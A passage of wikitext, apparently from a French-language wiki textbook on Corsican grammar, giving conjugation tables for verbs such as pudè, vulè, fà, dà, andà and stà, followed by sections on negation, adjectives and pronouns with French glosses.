'''pudendu''' (pouvant) || '''pussutu''' (pu) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' |- bgcolor="#abcdef" |'''possu''' (je peux) || '''pudia''' (je pouvais) || '''pudaraghju''' (je pourrai) || '''sò pussutu''' (j'ai pu) || '''era pussutu''' (j'avais pu) || '''poti''' (je pus) |- bgcolor="#abcdef" |'''po''' (tu peux) || '''pudii''' (tu pouvais) || '''pudarè''' (tu pourras) || '''sè pussutu''' (tu as pu) || '''eri pussutu''' (tu avais pu) || '''posti''' (tu pus) |- bgcolor="#abcdef" |'''pò''' (il peut) || '''pudia''' (il pouvait) || '''pudarà''' (il pourra) || '''hè pussutu''' (il a pu) || '''era pussutu''' (il avait pu) || '''poti''' (il put) |- bgcolor="#abcdef" |'''pudemu''' (nous pouvons) || '''pudìami''' (nous pouvions) || '''pudaremu''' (nous pourrons) || '''semu pussuti''' (nous avons pu) || '''èrami pussuti''' (nous avions pu) || '''pòtimi''' (nous pûmes) |- bgcolor="#abcdef" |'''pudeti''' (vous pouvez) || '''pudìati''' (vous pouviez) || '''pudareti''' (vous pourrez) || '''seti pussuti''' (vous avez pu) || '''èrati pussuti''' (vous aviez pu) || '''pòtiti''' (vous pûtes) |- bgcolor="#abcdef" |'''poni''' (ils peuvent) || '''pudìani''' (ils pouvaient) || '''pudarani''' (ils pourront) || '''sò pussuti''' (ils ont pu) || '''èrani pussuti''' (ils avaient pu) || '''pòtini''' (ils purent) |} {|- |- bgcolor="lightgreen" |'''cundiziunali''' (conditionnel) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" |'''pudaria''' (je pourrais) || '''era pussutu''' (j'aurais pu) |- bgcolor="#abcdef" |'''pudarii''' (tu pourrais) || '''eri pussutu''' (tu aurais pu) |- bgcolor="#abcdef" |'''pudaria''' (il pourrait) || '''era pussutu''' (il aurait pu) |- bgcolor="#abcdef" |'''pudarìami''' (nous pourrions) || '''èrami pussuti''' (nous aurions pu) |- bgcolor="#abcdef" |'''pudarìati''' (vous pourriez) || '''èrati pussuti''' (vous auriez pu) |- bgcolor="#abcdef" |'''pudarìani''' (ils pourraient) || '''èrani pussuti''' (ils auraient pu) |} {|- |- bgcolor="lightgreen" |'''sughjuntivu''' (subjonctif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''ch'é possi''' (que je puisse) || '''ch'é pudissi''' (que je pusse) || '''chè''' (que j'aie pu) |- bgcolor="#abcdef" | '''ch'è tù possi''' (que tu puisses) || '''chè tù pudissi''' (que tu pusses) || '''chè''' (que tu aies pu) |- bgcolor="#abcdef" | '''ch'eddu (edda) possi''' (qu'il puisse) || '''ch'eddu pudissi''' (qu'il pût) || '''chè''' (qu'il ait pu) |- bgcolor="#abcdef" | '''ch'è no pòssimi''' (que nous puissions) || '''chè no pudìssimi''' (que nous pussions) || '''chè''' (que nous ayons pu) |- bgcolor="#abcdef" | '''ch'è vo pòssiti''' (que vous puissiez) || '''chè vo pudìssiti''' (que vous pussiez) || '''chè''' (que vous ayez pu) |- bgcolor="#abcdef" | '''ch'eddi pòssini''' (qu'ils puissent) || '''ch'eddi pudìssini''' (qu'ils pussent) || '''chè''' (qu'ils aient pu) |} === '''vulè''' (vouloir) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''vulè''' (vouloir) || '''avè vulsutu''' (avoir voulu) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''vulendu''' (voulant) || '''vulsutu''' (voulu) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' |- bgcolor="#abcdef" |'''vogliu''' (je veux) || '''vulia''' (je voulais) || '''vularaghju''' (je voudrai) || '''aghju vulsutu''' (j'ai voulu) || '''avia vulsutu''' (j'avais voulu) || '''vuliti''' (je voulus) |- bgcolor="#abcdef" |'''vo''' (tu veux) || '''vulii''' (tu voulais) || '''vularè''' (tu voudras) || '''ha vulsutu''' (tu as voulu) || '''avii vulsutu''' (tu avais voulu) || '''vulisti''' (tu voulus) |- bgcolor="#abcdef" |'''vò''' (il veut) || '''vulia''' (il voulait) || '''vularà''' (il voudra) || '''hà vulsutu''' (il a voulu) || '''avia vulsutu''' (il avait voulu) || '''vuliti''' (il voulut) |- bgcolor="#abcdef" |'''vulemu''' (nous voulons) || '''vulìami''' (nous voulions) || '''vularemu''' (nous voudrons) || '''avemu vulsutu''' (nous avons voulu) || '''avìami vulsutu''' (nous avions voulu) || '''vulìtimi''' (nous voulûmes) |- bgcolor="#abcdef" |'''vuleti''' (vous voulez) || '''vulìati''' (vous vouliez) || '''vulareti''' (vous voudrez) || '''aveti vulsutu''' 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(qu'ils voulussent) || '''ch'è''' (qu'ils aient voulu) |} === '''fà''' (faire) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''fà''' (faire) || '''avè fattu''' (avoir fait) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''fendu''' (faisant) || '''fattu''' (fait) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' |- bgcolor="#abcdef" |'''facciu''' (je fais) || '''facia''' (je faisais) || '''faraghju''' (je ferai) || '''aghju fattu''' (j'ai fait) || '''avia fattu''' (j'avais fait) |- bgcolor="#abcdef" |'''faci''' (tu fais) || '''facii''' (tu faisais) || '''farè''' (tu feras) || '''ha fattu''' (tu as fait) || '''avii fattu''' (tu avais fait) |- bgcolor="#abcdef" |'''faci''' (il fait) || '''facia''' (il faisait) || '''farà''' (il fera) || '''hà fattu''' (il a fait) || '''avia fattu''' (il avait fait) |- bgcolor="#abcdef" |'''femu''' (nous faisons) || '''facìami''' (nous faisions) || '''faremu''' (nous ferons) || '''avemu fattu''' (nous avons fait) || '''avìami fattu''' (nous avions fait) |- bgcolor="#abcdef" |'''feti''' (vous faites) || '''facìati''' (vous faisiez) || '''fareti''' (vous ferez) || '''aveti fattu''' (vous avez fait) || '''avìati fattu''' (vous aviez fait) |- bgcolor="#abcdef" |'''facini''' (ils font) || '''facìani''' (ils faisaient) || '''farani''' (ils feront) || '''ani fattu''' (ils ont fait) || '''avìani fattu''' (ils avaient fait) |} {|- |- bgcolor="lightgreen" |'''cundiziunali''' (conditionnel) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" |'''faria''' (je ferais) || '''avaria fattu''' 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ait fait) |- bgcolor="#abcdef" | '''ch'è no fàcimi''' (que nous fassions) || '''ch'è no fèssimi''' (que nous fissions) || '''ch'è''' (que nous ayons fait) |- bgcolor="#abcdef" | '''ch'è vo fàciti''' (que vous fassiez) || '''ch'è vo fèssiti''' (que vous fissiez) || '''ch'è''' (que vous ayez fait) |- bgcolor="#abcdef" | '''ch'eddi fàcini''' (qu'ils fassent) || '''ch'eddi fèssini''' (qu'ils fissent) || '''ch'è''' (qu'ils aient fait) |} === '''dà''' (donner) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''dà''' (donner) || '''avè datu''' (avoir donné) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''dendu''' (donnant) || '''datu''' (donné) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' |- bgcolor="#abcdef" |'''docu''' (je donne) || '''dava''' (je donnais) || '''daraghju''' (je donnerai) || '''aghju datu''' (j'ai donné) || '''avia datu''' (j'avais donné) |- bgcolor="#abcdef" |'''da''' (tu donnes) || '''davi''' (tu donnais) || '''darè''' (tu donneras) || '''ha datu''' (tu as donné) || '''avii datu''' (tu avais donné) |- bgcolor="#abcdef" |'''dà''' (il donne) || '''dava''' (il donnait) || '''darà''' (il donnera) || '''hà datu''' (il a donné) || '''avia datu''' (il avait donné) |- bgcolor="#abcdef" |'''demu''' (nous donnons) || '''davìami''' (nous donnions) || '''daremu''' (nous donnerons) || '''avemu datu''' (nous avons donné) || '''avìami datu''' (nous avions donné) |- bgcolor="#abcdef" |'''deti''' (vous donnez) || '''davìati''' (vous donniez) || '''dareti''' (vous donnerez) || '''aveti datu''' (vous avez donné) || '''avìati datu''' (vous aviez donné) |- bgcolor="#abcdef" |'''dani''' (ils donnent) || '''davìani''' (ils donnaient) || '''darani''' (ils donneront) || '''ani datu''' (ils ont donné) || '''avìani datu''' (ils avaient donné) |} {|- |- bgcolor="lightgreen" |'''cundiziunali''' (conditionnel) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" |'''daria''' (je donnerais) || '''avaria datu''' (j'aurais donné) |- bgcolor="#abcdef" |'''darii''' (tu donnerais) || '''avarii datu''' (tu aurais donné) |- bgcolor="#abcdef" |'''daria''' (il donnerait) || '''avaria datu''' (il aurait donné) |- bgcolor="#abcdef" |'''darìami''' (nous donnerions) || '''avarìami datu''' (nous aurions donné) |- bgcolor="#abcdef" |'''darìati''' (vous donneriez) || '''avarìati datu''' (vous auriez donné) |- bgcolor="#abcdef" |'''darìani''' (ils donneraient) || '''avarìani datu''' (ils auraient donné) |} {|- |- bgcolor="lightgreen" |'''sughjuntivu''' (subjonctif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''ch'é dochi''' (que je donne) || '''ch'é dessi''' (que je donnasse) || '''ch'è''' (que j'aie donné) |- bgcolor="#abcdef" | '''ch'è tù dochi''' (que tu donnes) || '''ch'è tù dessi''' (que tu donnasses) || '''ch'è''' (que tu aies donné) |- bgcolor="#abcdef" | '''ch'eddu dochi''' (qu'il donne) || '''ch'eddu dessi''' (qu'il donnât) || '''ch'è''' (qu'il ait donné) |- bgcolor="#abcdef" | '''ch'è no dòchimi''' (que nous donnions) || '''ch'è no dèssimi''' (que nous donnassions) || '''ch'è''' (que nous ayons donné) |- bgcolor="#abcdef" | '''ch'è vo dòchiti''' (que vous donniez) || '''ch'è vo dèssiti''' (que vous donnassiez) || '''ch'è''' (que vous ayez donné) |- bgcolor="#abcdef" | '''ch'eddi dòchini''' (qu'ils donnent) || '''ch'eddi dèssini''' (qu'ils donnassent) || '''ch'è''' (qu'ils aient donné) |} === '''andà''' (aller) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''andà''' (aller) || '''essa andatu''' (être allé) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''andendu''' (allant) || '''andatu''' (allé) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' |- bgcolor="#abcdef" |'''vocu''' (je vais) || '''andava''' (j'allais) || '''andaraghju''' (j'irai) || '''socu andatu''' (je suis allé) || '''era andatu''' (j'étais allé) |- bgcolor="#abcdef" |'''va''' (tu vas) || '''andavi''' (tu allais) || '''andarè''' (tu iras) || '''sè andatu''' (tu es allé) || '''eri andatu''' (tu étais allé) |- bgcolor="#abcdef" |'''và''' (il va) || '''andava''' (il allait) || '''andarà''' (il ira) || '''hè andatu''' (il est allé) || '''era andatu''' (il était allé) |- bgcolor="#abcdef" |'''andemu''' (nous allons) || '''andàvami''' (nous allions) || '''andaremu''' (nous irons) || '''semu andati''' (nous sommes allés) || '''èrami andati''' (nous étions allés) |- bgcolor="#abcdef" |'''andeti''' (vous allez) || '''andàvati''' (vous alliez) || '''andareti''' (vous irez) || '''seti andati''' (vous êtes allés) || '''èrati andati''' (vous étiez allés) |- bgcolor="#abcdef" |'''vani''' (ils vont) || '''andàvani''' (ils allaient) || '''andarani''' (ils iront) || '''sò andati''' (ils sont allés) || '''èrani andati''' (ils étaient allés) |} {|- |- bgcolor="lightgreen" |'''cundiziunali''' (conditionnel) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" |'''andaria''' (j'irais) || '''saria andatu''' (je serais allé) |- bgcolor="#abcdef" |'''andarii''' (tu irais) || '''sarii andatu''' (tu serais allé) |- bgcolor="#abcdef" |'''andaria''' (il irait) || '''saria andatu''' (il serait allé) |- bgcolor="#abcdef" |'''andarìami''' (nous irions) || '''sarìami andati''' (nous serions allés) |- bgcolor="#abcdef" |'''andarìati''' (vous iriez) || '''sarìati andati''' (vous seriez allés) |- bgcolor="#abcdef" |'''andarìani''' (ils iraient) || '''sarìani andati''' (ils seraient allés) |} {|- |- bgcolor="lightgreen" |'''sughjuntivu''' (subjonctif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''ch'é vochi''' (que j'aille) || '''ch'é andessi''' (que j'allasse) || '''ch'è''' (que je sois allé) |- bgcolor="#abcdef" | '''ch'è tù vochi''' (que tu ailles) || '''ch'è tù andessi''' (que tu allasses) || '''ch'è''' (que tu sois allé) |- bgcolor="#abcdef" | '''ch'eddu vochi''' (qu'il aille) || '''ch'eddu andessi''' (qu'il allât) || '''ch'è''' (qu'il soit allé) |- bgcolor="#abcdef" | '''ch'è no vòchimi''' (que nous aillions) || '''ch'è no andèssimi''' (que nous allassions) || '''ch'è''' (que nous soyons allés) |- bgcolor="#abcdef" | '''ch'è vo vòchiti''' (que vous ailliez) || '''ch'è vo andèssiti''' (que vous allassiez) || '''ch'è''' (que vous soyez allés) |- bgcolor="#abcdef" | '''ch'eddi vòchini''' (qu'ils aillent) || '''ch'eddi andèssini''' (qu'ils allassent) || '''ch'è''' (qu'ils soient allés) |} === '''stà''' (rester) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''stà''' (rester) || '''essa statu''' (être resté) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''stendu''' (restant) || '''statu''' (resté) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' |- bgcolor="#abcdef" |'''stocu''' (je reste) || '''stava''' (je restais) || '''staraghju''' (je resterai) || '''socu statu''' (je suis resté) || '''era statu''' (j'étais resté) |- bgcolor="#abcdef" |'''sta''' (tu restes) || '''stavi''' (tu restais) || '''starè''' (tu resteras) || '''sè statu''' (tu es resté) || '''eri statu''' (tu étais resté) |- bgcolor="#abcdef" |'''stà''' (il reste) || '''stava''' (il restait) || '''starà''' (il restera) || '''hè statu''' (il est resté) || '''era statu''' (il était resté) |- bgcolor="#abcdef" |'''stemu''' (nous restons) || '''stàvami''' (nous restions) || '''staremu''' (nous resterons) || '''semu stati''' (nous sommes restés) || '''èrami stati''' (nous étions restés) |- bgcolor="#abcdef" |'''steti''' (vous restez) || '''stàvati''' (vous restiez) || '''stareti''' (vous resterez) || '''seti stati''' (vous êtes restés) || '''èrati stati''' (vous étiez restés) |- bgcolor="#abcdef" |'''stani''' (ils restent) || '''stàvani''' (ils restaient) || '''starani''' (ils resterons) || '''sò stati''' (ils sont restés) || '''èrani stati''' (ils étaient restés) |} {|- |- bgcolor="lightgreen" |'''cundiziunali''' (conditionnel) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" |'''staria''' (je resterais) || '''saria statu''' (je serais resté) |- bgcolor="#abcdef" |'''starii''' (tu resterais) || '''sarii statu''' (tu serais resté) |- bgcolor="#abcdef" |'''staria''' (il resterait) || '''saria statu''' (il serait resté) |- bgcolor="#abcdef" |'''starìami''' (nous resterions) || '''sarìami stati''' (nous serions restés) |- bgcolor="#abcdef" |'''starìati''' (vous resteriez) || '''sarìati stati''' (vous seriez restés) |- bgcolor="#abcdef" |'''starìani''' (ils resteraient) || '''sarìani stati''' (ils seraient restés) |} === La forme négative === La forme négative d'un verbe s'obtient par l'utilisation de '''ùn''' <verbe> '''micca''', '''ùn''' <verbe> '''tantu''', '''ùn''' <verbe> '''mai''', '''ùn''' <verbe> '''nudda''', '''ùn''' <verbe> '''più'''. * '''ùn cerca micca''': il ne cherche pas * '''ùn cerca tantu''': il ne cherche pas tellement * '''ùn cerca mai''': il ne cherche jamais * '''ùn cerca nudda''': il ne cherche rien * '''ùn cerca più''': il ne cherche plus * à noter que plus rarement, la forme "ne ... pas" s'obtient de manière plus courte en: '''ùn''' <verbe>, afin de marquer le contraste: '''oghji po ùn piovi!''': aujourd'hui, il ne pleut pas ! (alors qu'il a plu les jours précédents) * de même, la forme normale avec l'emploi du participe passé est: '''ùn''' <auxiliaire> + '''micca''' + <participe passé> , par exemple: '''un hè micca ghjuntu''' : il n'est pas arrivé. Mais on emploie également la forme inversée: '''un hè ghjuntu micca ''' : il n'est pas arrivé. === Particularités === A noter la différence entre '''senta''' (entendre) et '''stà à senta''' (écouter): {|- |- bgcolor="lightgreen" |'''senta''' (entendre) || '''stà à senta''' (écouter) |- bgcolor="#abcdef" |'''sentu''' (j'entends) || ''' stocu à senta''' (j'écoute) |- bgcolor="#abcdef" |'''senti''' (tu entends) || '''sta à senta''' (tu écoutes) |- bgcolor="#abcdef" |'''senti''' (il entend) || '''stà à senta''' (il écoute) |- bgcolor="#abcdef" |'''sintimu''' (nous entendons) || '''stemu à senta''' (nous écoutons) |- bgcolor="#abcdef" |'''sintiti''' (vous entendez) || '''steti à senta''' (vous écoutez) |- bgcolor="#abcdef" |'''sèntini''' (ils entendent) || '''stani à senta''' (ils écoutent) |} == Les adjectifs == === Les adjectifs qualificatifs === ==== Le pluriel ==== {| |- bgcolor="#abcdef" | masculin singulier || féminin singulier || masculin pluriel || féminin pluriel |- bgcolor="#abcdef" | -'''u''' () || -'''a''' () || -'''i''' () || -'''i''' |- bgcolor="#abcdef" | '''biancu''' (blanc) || '''bianca''' (blanche) || '''bianchi''' (blancs) || '''bianchi''' (blanches) |- bgcolor="#abcdef" | '''u muru biancu''' (le mur blanc) || '''a casa bianca''' (la maison blanche) || '''i capeddi bianchi''' (les cheveux blancs) || '''i tacchi bianchi''' (les taches blanches) |} ==== Le superlatif aboslu ('''superlativu assulutu''') ==== Le superlatif s'obtient en corse de plusieurs manières. L'une d'entre elles est la répétion de l'adjectif qualificatif, car "très" n'existe pas: {| |- bgcolor="#abcdef" | '''neru''' (noir)|| '''neru neru''' (très noir) |- bgcolor="#abcdef" | '''biancu''' (blanc)|| '''biancu biancu''' (très blanc) |- bgcolor="#abcdef" | '''chjucu''' (petit)|| '''chjucu chjucu''' (très petit) |- bgcolor="#abcdef" | '''magru''' (maigre)|| '''magru magru''' (très maigre) |} Il existe également une autre forme, qui s'obtient par la répétion d'un adjectif synonyme du premier: {| |- bgcolor="#abcdef" | '''trosciu''' (trempé)|| '''trosciu battulu''' (très trempé) |- bgcolor="#abcdef" | '''vechju''' (vieux)|| '''vechju zerricu''' (très vieux) |- bgcolor="#abcdef" | '''briacu''' (saoul)|| '''briacu zuffu''' (très saoul) |} Le superlatif absolu peut également s'obtenir, pour quelques mots, à l'aide du suffixe '''-issimu''': {| |- bgcolor="#abcdef" | '''bonu''' (bon) || '''bunissimu''' (très bon) |- bgcolor="#abcdef" | '''bè''' (bien) || '''binissimu''' (très bien) |- bgcolor="#abcdef" | '''pocu''' (peu) || '''puchissimu''' (très peu) |} Enfin, on obtient encore le superlatif absolu par l'utilisation de '''beddu''' suivi d'un adjectif: {| |- bgcolor="#abcdef" | '''cuntenti''' (content) || '''beddu cuntenti''' (très content) |- bgcolor="#abcdef" | '''bruttu''' (sale) || '''beddu bruttu''' (très sale) |} === Les adjectifs démonstratifs === {| |- bgcolor="#abcdef" | masculin singulier || féminin singulier || masculin pluriel || féminin pluriel |- bgcolor="#abcdef" | '''issu''' (ce) || '''issa''' (cette) || '''issi''' (ces) || '''issi''' (ces) |- bgcolor="#abcdef" | '''issu muru''' (ce mur) || '''issa casa''' (cette maison) || '''issi ziteddi''' (ces enfants) || '''issi sgiocchi''' (ces chèvres) |} A noter que le '''i''' initial ne se prononce pas. {| |- bgcolor="#abcdef" | masculin singulier || féminin singulier || masculin pluriel || féminin pluriel |- bgcolor="#abcdef" | '''stu''' (cet) || '''sta''' (cette) || '''sti''' (ces) || '''sti''' (ces) |- bgcolor="#abcdef" | '''stu arburu''' (cet arbre) || '''sta terra''' (cette terre) || '''sti travagli''' (ces travaux) || '''sti donni''' (ces femmes) |} === Les adjectifs numéraux === ==== Les adjectifs numéraux ordinaux ==== {|- |- bgcolor="#abcdef" |'''zeru''' : 0|| '''deci''': 10|| '''vinti''': 20|| '''trenta''': 30|| '''quaranta''': 40 |- bgcolor="#abcdef" |'''unu''': 1|| '''ondici''': 11|| '''vint'unu''': 21 || '''trent'unu''': 31 || '''quarant'un''' : 41 |- bgcolor="#abcdef" |'''dui''': 2|| '''dodici''': 12|| '''vinti dui''': 22 || '''trenta dui''' : 32|| '''quaranta dui''' : 42 |- bgcolor="#abcdef" |'''trè''': 3|| '''tredici''': 13|| '''vinti trè''': 23 || '''trenta trè''' : 33|| '''quaranta trè''' : 43 |- bgcolor="#abcdef" |'''quattru''': 4|| '''quattordici''': 14|| '''vinti quattru''': 24 || '''trenta quattru''' : 34|| '''quaranta quattru''' : 44 |- bgcolor="#abcdef" |'''cinqui''': 5|| '''quindici''': 15|| '''vinti cinqui''': 25 || '''trenta cinqui''' : 35|| '''quaranta cinqui''' : 45 |- bgcolor="#abcdef" |'''sei''': 6|| '''sedici''': 16|| '''vinti sei''': 26 || '''trenta sei''' : 36|| '''quaranta sei''': 46 |- bgcolor="#abcdef" |'''setti''': 7|| '''diciossetti''': 17 || '''vinti setti''': 27 || '''trenta setti''' : 37|| '''quaranta setti''': 47 |- bgcolor="#abcdef" |'''ottu''': 8|| '''diciottu''': 18 || '''vint'ottu''': 28 || '''trent'ottu''' : 38|| '''quarant'ottu''': 48 |- bgcolor="#abcdef" |'''novi''': 9|| '''dicionovi''': 19 || '''vinti novi''': 29 || '''trenta novi''' : 39|| '''quaranta novi''': 49 |} {|- |- bgcolor="#abcdef" |'''cinquanta''' : 50|| '''sissanta''': 60|| '''sittanta''': 70|| '''uttanta''': 80|| '''nuvanta ''': 90 |- bgcolor="#abcdef" |'''cinquant'unu''': 51|| '''sissant' unu''': 61|| '''sittant'unu''': 71 || '''uttant'unu''': 81 || '''nuvant'unu''' : 91 |- bgcolor="#abcdef" |'''cinquanta dui''': 52|| '''sissanta dui''': 62|| '''sittanta dui''': 72 || '''uttanta dui''' : 82|| '''nuvanta dui''' : 92 |- bgcolor="#abcdef" |'''cinquanta trè''': 53|| '''sissanta trè''': 63|| '''sittanta trè''': 73 || '''uttanta trè''' : 83|| '''nuvanta trè''' : 93 |- bgcolor="#abcdef" |'''cinquanta quattru''': 54|| '''sissanta quattru''': 64|| '''sittanta quattru''': 74 || '''uttanta quattru''' : 84|| '''nuvanta quattru''' : 94 |- bgcolor="#abcdef" |'''cinquanta cinqui''': 55|| '''sissanta cinqui''': 65|| '''sittanta cinqui''': 75 || '''uttanta cinqui''' : 85|| '''nuvanta cinqui''' : 95 |- bgcolor="#abcdef" |'''cinquanta sei''': 56|| '''sissanta sei''': 66|| '''sittanta sei''': 76 || '''uttanta sei''' : 86|| '''nuvanta sei''': 96 |- bgcolor="#abcdef" |'''cinquanta setti''': 57|| '''sissanta setti''': 67 || '''sittanta setti''': 77 || '''uttanta setti''' : 87|| '''nuvanta setti''': 97 |- bgcolor="#abcdef" |'''cinquant' ottu''': 58|| '''sissanta ottu''': 68 || '''sittant'ottu''': 78 || '''uttant'ottu''' : 88|| '''nuvant'ottu''': 98 |- bgcolor="#abcdef" |'''cinquanta novi''': 59|| '''sissanta novi''': 69 || '''sittanta novi''': 79 || '''uttanta novi''' : 89|| '''nuvanta novi''': 99 |} ==== Les adjectifs numéraux cardinaux ==== * prima * sicondu * terzu * quartu * quintu * * una dicina * una quindicina * una vintena * una trintena * una quarantena * una cinquantena * una sissantena * una sittantena * ... * una cintunara === Les adjectifs possessifs === {| |- bgcolor="#abcdef" | masculin singulier || féminin singulier || masculin pluriel || féminin pluriel |- bgcolor="#abcdef" | '''u me''' (mon) || '''a me''' (ma) || '''i me''' (mes) || '''i me''' (mes) |- bgcolor="#abcdef" | '''u me ghjacaru''' (mon chien) || '''a me ghjacara''' (ma chienne) || '''i me chjosa''' (mes champs) || '''i mè ghjaddini''' (mes poules) |} On a également ici les cas particuliers: :* '''babbitu''': ton père :* '''mammata''': ta mère :* '''minnanata''': ta grand-mère {| |- bgcolor="#abcdef" | masculin singulier || féminin singulier || masculin pluriel || féminin pluriel |- bgcolor="#abcdef" | '''u me''' (mon) || '''a me''' (ma) || '''i me''' (mes) || '''i me''' (mes) |- bgcolor="#abcdef" | '''u to''' (ton) || '''a to''' (ta) || '''i to''' (tes) || '''i to''' (tes) |- bgcolor="#abcdef" | '''u so''' (son) || '''a so''' (sa) || '''i so''' (ses) || '''i so''' (ses) |- bgcolor="#abcdef" | '''u nosciu''' (notre) || '''a noscia''' (notre) || '''i nosci''' (nos) || '''i nosci''' (nos) |- bgcolor="#abcdef" | '''u vosciu''' (votre) || '''a voscia''' (votre) || '''i vosci''' (vos) || '''i vosci''' (vos) |- bgcolor="#abcdef" | '''u so''' (leur) || '''a so''' (leur) || '''i so''' (leurs) || '''i so''' (leurs) |} == Les pronoms == === Les pronoms indéfinis === Le pronom indéfini "on" peut se traduire en langue corse de différentes manières: * par l'utilisation de '''a parsona''': on. Exemple: '''quandu a parsona invechja'''...: lorsqu'on vieillit... * par l'utilisation de '''si''': on. Exemple: '''quandu eddu si parti'''...: lorsqu'on part... === Les pronoms personnels === {|- |- bgcolor="lightgreen" |'''sughjettu''' (sujet) |- bgcolor="#abcdef" |'''eiu''', '''ié''' (moi) || '''eiu, socu cuntenti''' (moi, je suis content) |- bgcolor="#abcdef" |'''tù''' (toi) || '''tù, sè cuntenti''' (toi, tu es content) |- bgcolor="#abcdef" |'''eddi''', '''ieddi''' (eux, elles) || '''ieddi, sò cuntenti''' (lui, il est content) |- bgcolor="#abcdef" |'''no''' (nous) || '''no, semu cuntenti''' (nous, nous sommes content) |- bgcolor="#abcdef" |'''vo''' (vous) || '''vo, seti cuntenti''' (vous, vous êtes content) |- bgcolor="#abcdef" |'''eddi''', '''ieddi''' (eux, elles) || '''ieddi, sò cuntenti''' (elles, elles sont contentes) |} {|- |- bgcolor="lightgreen" |'''cumplimenti''' (complément) |- bgcolor="#abcdef" |'''mi''' (me) || ''' mi piaci''' (ça me plaît) |- bgcolor="#abcdef" |'''ti''' (te) || '''ti piaci''' (ça te plaît) |- bgcolor="#abcdef" |'''li''' (lui) || '''li piaci''' (ça lui plaît) |- bgcolor="#abcdef" |'''ci''' (nous) || '''ci piaci''' (ça nous plaît) |- bgcolor="#abcdef" |'''vi''' (vous) || '''vi piaci''' (ça vous plaît) |- bgcolor="#abcdef" |'''li''' (leur) || '''li piaci''' (ça leur plaît) |} === Les pronoms possessifs === {| |- bgcolor="#abcdef" | masculin singulier || féminin singulier || masculin pluriel || féminin pluriel |- bgcolor="#abcdef" | '''u meiu''' (le mien) || '''a meia''' (la mienne) || '''i mei''' (les miens) || '''i mei''' (les miennes) |- bgcolor="#abcdef" | '''u toiu''' (le tien) || '''a toia''' (la tienne) || '''i toi''' (les tiens) || '''i toi''' (les tiennes) |- bgcolor="#abcdef" | '''u soiu''' (le sien) || '''a soia''' (la sienne) || '''i soi''' (les siens) || '''i soi''' (les siennes) |- bgcolor="#abcdef" | '''u nosciu''' (le notre) || '''a noscia''' (la notre) || '''i nosci''' (les notres) || '''i nosci''' (les notres) |- bgcolor="#abcdef" | '''u vosciu''' (le votre) || '''a voscia''' (la votre) || '''i vosci''' (les votres) || '''i vosci''' (les votres) |- bgcolor="#abcdef" | '''u soiu''' (le leur) || '''a soia''' (la leur) || '''i soi''' (les leurs) || '''i soi''' (les leurs) |} === Les pronoms réfléchis === {| |- 